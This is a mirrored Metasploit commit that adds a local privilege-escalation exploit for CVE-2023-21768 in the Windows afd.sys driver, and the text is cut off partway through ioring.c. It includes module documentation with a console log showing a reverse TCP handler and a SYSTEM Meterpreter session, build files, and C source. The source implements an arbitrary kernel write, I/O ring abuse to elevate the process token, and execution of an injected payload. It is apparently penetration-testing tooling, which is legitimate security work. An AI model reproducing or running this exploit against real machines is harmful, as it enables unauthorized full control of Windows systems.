1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-07-18 18:31:41 +02:00

Add exploit for CVE-2023-21768

This commit is contained in:
Christophe De La Fuente 2023-03-27 20:06:52 +02:00
parent e2e8568860
commit 6d4ee0c071
12 changed files with 1295 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,58 @@
## Vulnerable Application
A vulnerability exists in the Windows Ancillary Function Driver for Winsock
(`afd.sys`) can be leveraged by an attacker to escalate privileges to those of
NT AUTHORITY\SYSTEM. Due to a flaw in `AfdNotifyRemoveIoCompletion`, it is
possible to create an arbitrary kernel Write-Where primitive, which can be used
to manipulate internal I/O ring structures and achieve local privilege
escalation.
This exploit only supports Windows 11 22H2 up to build 22621.963 (patched in
January 2023 updates).
### Installation And Setup
Windows 11 versions 22H2 (without the patch) are vulnerable out of the box.
This exploit module has been tested on Windows 11 versions 22H2 build 22621.525
and 22621.963.
## Options
No specific options to be set.
## Verification Steps
1. Start msfconsole
1. Get a Meterpreter session on a vulnerable host
1. Do: `use windows/local/cve_2023_21768_afd_lpe`
1. Set the `SESSION` and `PAYLOAD` options
1. Do: `run`
1. You should get a privileged session.
## Scenarios
### Windows 11 Version 22H2 Build 22621.963 x64
```
msf6 exploit(windows/local/cve_2023_21768_afd_lpe) > run verbose=true
[*] Started reverse TCP handler on 192.168.100.9:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Windows Build Number = 22621.963
[+] The target appears to be vulnerable.
[*] Launching netsh to host the DLL...
[+] Process 3748 launched.
[*] Reflectively injecting the DLL into 3748...
[*] Sending stage (200774 bytes) to 192.168.100.9
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 11 opened (192.168.100.9:4444 -> 192.168.100.9:55346) at 2023-03-27 18:46:08 +0200
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN11PRO
OS : Windows 10 (10.0 Build 22621).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
```

View File

@ -0,0 +1,2 @@
.vs/*
*.vcxproj.filters

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.32407.337
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2023-21768", "CVE-2023-21768.vcxproj", "{24AFFB38-5B93-4D0E-8329-D3B27B337D25}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Debug|x64.ActiveCfg = Debug|x64
{24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Debug|x64.Build.0 = Debug|x64
{24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Debug|x86.ActiveCfg = Debug|Win32
{24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Debug|x86.Build.0 = Debug|Win32
{24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Release|x64.ActiveCfg = Release|x64
{24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Release|x64.Build.0 = Release|x64
{24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Release|x86.ActiveCfg = Release|Win32
{24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {ED684E2D-0A3F-471F-A3D4-3F508877D62C}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,220 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{24affb38-5b93-4d0e-8329-d3b27b337d25}</ProjectGuid>
<RootNamespace>CVE202321768</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>true</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>true</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;CVE202321768_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\include\windows;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>false</FunctionLevelLinking>
<IntrinsicFunctions>false</IntrinsicFunctions>
<SDLCheck>
</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;CVE202321768_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\include\windows;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;CVE202321768_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\include\windows;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>false</FunctionLevelLinking>
<IntrinsicFunctions>false</IntrinsicFunctions>
<SDLCheck>
</SDLCheck>
<PreprocessorDefinitions>NDEBUG;CVE202321768_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\include\windows;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<Optimization>MinSpace</Optimization>
<WholeProgramOptimization>false</WholeProgramOptimization>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="dllmain.c" />
<ClCompile Include="exploit.c" />
<ClCompile Include="ioring.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="exploit.h" />
<ClInclude Include="ioring.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,37 @@
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "ReflectiveLoader.c"
#include <stdio.h>
#include <stdint.h>
#include <windows.h>
DWORD Exploit(PVOID pPayload);
LPVOID main(LPVOID lpReserved) {
Exploit(lpReserved);
return;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL)
{
*(HMODULE*)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
main(lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

View File

@ -0,0 +1,214 @@
#include <windows.h>
#include "exploit.h"
#include "ioring.h"
BOOL InitialSetup(void) {
HMODULE hNtdll = LoadLibrary(L"ntdll");
if (!hNtdll) {
dprintf("Unable to load ntdll.dll");
goto failure;
}
if (!(NtCreateFile = (fNtCreateFile)GetProcAddress(hNtdll, "NtCreateFile"))) {
dprintf("NtCreateFile() not found in ntdll.dll");
goto failure;
}
if (!(NtDeviceIoControlFile = (fNtDeviceIoControlFile)GetProcAddress(hNtdll, "NtDeviceIoControlFile"))) {
dprintf("NtDeviceIoControlFile() not found in ntdll.dll");
goto failure;
}
if (!(NtCreateIoCompletion = (fNtCreateIoCompletion)GetProcAddress(hNtdll, "NtCreateIoCompletion"))) {
dprintf("NtCreateIoCompletion() not found in ntdll.dll");
goto failure;
}
if (!(NtSetIoCompletion = (fNtSetIoCompletion)GetProcAddress(hNtdll, "NtSetIoCompletion"))) {
dprintf("NtSetIoCompletion() not found in ntdll.dll");
goto failure;
}
if (!(NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation"))) {
dprintf("NtQuerySystemInformation() not found in ntdll.dll");
goto failure;
}
return TRUE;
failure:
if (hNtdll) {
FreeLibrary(hNtdll);
}
return FALSE;
}
HRESULT ArbitraryKernelWrite0x1(void* pPwnPtr) {
HRESULT ret;
NTSTATUS ntStatus;
HANDLE hCompletion = INVALID_HANDLE_VALUE;
IO_STATUS_BLOCK IoStatusBlock = { 0 };
HANDLE hSocket = INVALID_HANDLE_VALUE;
UNICODE_STRING ObjectFilePath = { 0 };
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
AFD_NOTIFYSOCK_DATA Data = { 0 };
HANDLE hEvent = NULL;
HANDLE hThread = NULL;
// Hard-coded attributes for an IPv4 TCP socket
BYTE bExtendedAttributes[] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,
0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
};
ntStatus = NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1);
if (ntStatus != STATUS_SUCCESS) {
dprintf("NtCreateIoCompletion() failed (NTSTATUS=0x%X)", ntStatus);
ret = E_FAIL;
goto done;
}
ntStatus = NtSetIoCompletion(hCompletion, 0x1337, &IoStatusBlock, 0, 0x100);
if (ntStatus != STATUS_SUCCESS) {
dprintf("NtSetIoCompletion() failed (NTSTATUS=0x%X)", ntStatus);
ret = E_FAIL;
goto done;
}
ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";
ObjectFilePath.Length = (USHORT)wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
ObjectFilePath.MaximumLength = ObjectFilePath.Length;
ObjectAttributes.Length = sizeof(ObjectAttributes);
ObjectAttributes.ObjectName = &ObjectFilePath;
ObjectAttributes.Attributes = 0x40;
ntStatus = NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));
if (ntStatus != STATUS_SUCCESS) {
dprintf("NtCreateFile() failed (NTSTATUS=0x%X)", ntStatus);
ret = E_FAIL;
goto done;
}
Data.hCompletion = hCompletion;
Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!Data.pData1) {
dprintf("Call #1 to VirtualAlloc() failed (0x%X)", GetLastError());
ret = E_FAIL;
goto done;
}
Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!Data.pData2) {
dprintf("Call #2 to VirtualAlloc() failed (0x%X)", GetLastError());
ret = E_FAIL;
goto done;
}
Data.dwCounter = 0x1;
Data.dwLen = 0x1;
Data.dwTimeout = 100000000;
Data.pPwnPtr = pPwnPtr;
hEvent = CreateEvent(NULL, 0, 0, NULL);
if (!hEvent) {
dprintf("Call to CreateEvent() failed (0x%X)", GetLastError());
ret = E_FAIL;
goto done;
}
NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);
ret = S_OK;
done:
if (hCompletion != INVALID_HANDLE_VALUE) {
CloseHandle(hCompletion);
}
if (hSocket != INVALID_HANDLE_VALUE) {
CloseHandle(hSocket);
}
if (hEvent) {
CloseHandle(hEvent);
}
if (Data.pData1) {
VirtualFree(Data.pData1, 0, MEM_RELEASE);
}
if (Data.pData2) {
VirtualFree(Data.pData2, 0, MEM_RELEASE);
}
return ret;
}
void ExecutePayload(PMSF_PAYLOAD pMsfPayload) {
if (!pMsfPayload) {
return;
}
PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!pPayload) {
return;
}
CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);
CreateThread(NULL, 0, pPayload, NULL, 0, NULL);
}
DWORD Exploit(PVOID pPayload) {
dprintf("Starting exploit...");
PIORING_OBJECT pIoRing = NULL;
DWORD dwPidSelf = GetCurrentProcessId();
if (!InitialSetup()) {
dprintf("Initial setup failure");
return EXIT_FAILURE;
}
if (IoRingSetup(&pIoRing) != S_OK) {
dprintf("IORING setup failed");
return EXIT_FAILURE;
}
dprintf("IoRing Obj Address at %llx", pIoRing);
if (ArbitraryKernelWrite0x1((char*)&pIoRing->RegBuffers + 0x3) != S_OK) {
dprintf("IoRing->RegBuffers overwrite failed");
return EXIT_FAILURE;
}
dprintf("IoRing->RegBuffers overwritten with address 0x1000000");
if (ArbitraryKernelWrite0x1((char*)&pIoRing->RegBuffersCount) != S_OK) {
dprintf("IoRing->RegBuffersCount overwrite failed");
return EXIT_FAILURE;
}
dprintf("IoRing->RegBuffersCount overwritten with 0x1");
if (IoRingLpe(dwPidSelf, 0x1000000, 0x1) != S_OK) {
dprintf("LPE Failed");
return EXIT_FAILURE;
}
dprintf("Current process token elevated to SYSTEM!");
ExecutePayload(pPayload);
dprintf("The payload has been executed");
return EXIT_SUCCESS;
}

View File

@ -0,0 +1,197 @@
#pragma once
//#define DEBUGTRACE
#include <windows.h>
#include "common.h"
#include "definitions.h"
#define EPROC_TOKEN_OFFSET 0x4b8
#define SystemHandleInformation (SYSTEM_INFORMATION_CLASS)16
typedef struct _OBJECT_TYPE_INFORMATION
{
UNICODE_STRING TypeName;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
BOOLEAN TypeIndex;
CHAR ReservedByte;
ULONG PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
typedef struct _DISPATCHER_HEADER
{
union
{
volatile long Lock;
long LockNV;
struct
{
unsigned char Type;
unsigned char Signalling;
unsigned char Size;
unsigned char Reserved1;
};
struct
{
unsigned char TimerType;
union
{
unsigned char TimerControlFlags;
struct
{
struct
{
unsigned char Absolute : 1;
unsigned char Wake : 1;
unsigned char EncodedTolerableDelay : 6;
};
unsigned char Hand;
union
{
unsigned char TimerMiscFlags;
struct
{
unsigned char Index : 6;
unsigned char Inserted : 1;
volatile unsigned char Expired : 1;
};
};
};
};
};
struct
{
unsigned char Timer2Type;
union
{
unsigned char Timer2Flags;
struct
{
struct
{
unsigned char Timer2Inserted : 1;
unsigned char Timer2Expiring : 1;
unsigned char Timer2CancelPending : 1;
unsigned char Timer2SetPending : 1;
unsigned char Timer2Running : 1;
unsigned char Timer2Disabled : 1;
unsigned char Timer2ReservedFlags : 2;
};
unsigned char Timer2ComponentId;
unsigned char Timer2RelativeId;
};
};
};
struct
{
unsigned char QueueType;
union
{
unsigned char QueueControlFlags;
struct
{
struct
{
unsigned char Abandoned : 1;
unsigned char DisableIncrement : 1;
unsigned char QueueReservedControlFlags : 6;
};
unsigned char QueueSize;
unsigned char QueueReserved;
};
};
};
struct
{
unsigned char ThreadType;
unsigned char ThreadReserved;
union
{
unsigned char ThreadControlFlags;
struct
{
struct
{
unsigned char CycleProfiling : 1;
unsigned char CounterProfiling : 1;
unsigned char GroupScheduling : 1;
unsigned char AffinitySet : 1;
unsigned char Tagged : 1;
unsigned char EnergyProfiling : 1;
unsigned char SchedulerAssist : 1;
unsigned char ThreadReservedControlFlags : 1;
};
union
{
unsigned char DebugActive;
struct
{
unsigned char ActiveDR7 : 1;
unsigned char Instrumented : 1;
unsigned char Minimal : 1;
unsigned char Reserved4 : 2;
unsigned char AltSyscall : 1;
unsigned char Emulation : 1;
unsigned char Reserved5 : 1;
};
};
};
};
};
struct
{
unsigned char MutantType;
unsigned char MutantSize;
unsigned char DpcActive;
unsigned char MutantReserved;
};
};
long SignalState;
LIST_ENTRY WaitListHead;
} DISPATCHER_HEADER, * PDISPATCHER_HEADER;
typedef struct _KEVENT
{
struct _DISPATCHER_HEADER Header;
} KEVENT, * PKEVENT;
#define AFD_NOTIFYSOCK_IOCTL 0x12127
// Good enough™ best guess on what this structure is.
typedef struct AFD_NOTIFYSOCK_DATA
{
HANDLE hCompletion;
PVOID pData1;
PVOID pData2;
PVOID pPwnPtr;
DWORD dwCounter;
DWORD dwTimeout;
DWORD dwLen;
char lol[0x4];
}AFD_NOTIFYSOCK_DATA;
fNtCreateFile NtCreateFile;
fNtDeviceIoControlFile NtDeviceIoControlFile;
fNtCreateIoCompletion NtCreateIoCompletion;
fNtSetIoCompletion NtSetIoCompletion;
fNtQuerySystemInformation NtQuerySystemInformation;

View File

@ -0,0 +1,275 @@
#include <windows.h>
#include "ioring.h"
HIORING hIoRing = NULL;
PIORING_OBJECT pIoRing = NULL;
HANDLE hInPipe = INVALID_HANDLE_VALUE;
HANDLE hOutPipe = INVALID_HANDLE_VALUE;
HANDLE hInPipeClient = INVALID_HANDLE_VALUE;
HANDLE hOutPipeClient = INVALID_HANDLE_VALUE;
HRESULT GetObjPtr(PVOID* ppObjAddr, ULONG ulPid, HANDLE handle) {
HRESULT ret;
PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
ULONG ulBytes = 0;
NTSTATUS ntStatus = STATUS_SUCCESS;
while ((ntStatus = NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH) {
if (pHandleInfo) {
pHandleInfo = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, 2 * (SIZE_T) ulBytes);
} else {
pHandleInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * (SIZE_T) ulBytes);
}
}
if (ntStatus != STATUS_SUCCESS) {
dprintf("NtQuerySystemInformation() failed (NTSTATUS=0x%X)", ntStatus);
ret = E_FAIL;
goto done;
}
if (pHandleInfo == NULL) {
dprintf("Heap memory allocation failed (0x%X)", GetLastError());
ret = E_FAIL;
goto done;
}
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) {
if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (USHORT) handle)) {
*ppObjAddr = pHandleInfo->Handles[i].Object;
ret = S_OK;
break;
}
}
done:
if (pHandleInfo) {
HeapFree(GetProcessHeap(), 0, pHandleInfo);
}
return ret;
}
HRESULT IoRingSetup(PIORING_OBJECT* ppIoRingAddr) {
IORING_CREATE_FLAGS ioRingFlags = { 0 };
ioRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
ioRingFlags.Advisory = IORING_CREATE_REQUIRED_FLAGS_NONE;
if (CreateIoRing(IORING_VERSION_3, ioRingFlags, 0x10000, 0x20000, &hIoRing) != S_OK) {
dprintf("Call to CreateIoRing() failed (0x%X)", GetLastError());
return E_FAIL;
}
if (GetObjPtr(ppIoRingAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing) != S_OK) {
dprintf("Failed to get the IoRing object address");
return E_FAIL;
}
pIoRing = *ppIoRingAddr;
hInPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_in", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
hOutPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_out", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
if ((hInPipe == INVALID_HANDLE_VALUE) || (hOutPipe == INVALID_HANDLE_VALUE)) {
dprintf("Named pipe creation failure (0x%X)", GetLastError());
return E_FAIL;
}
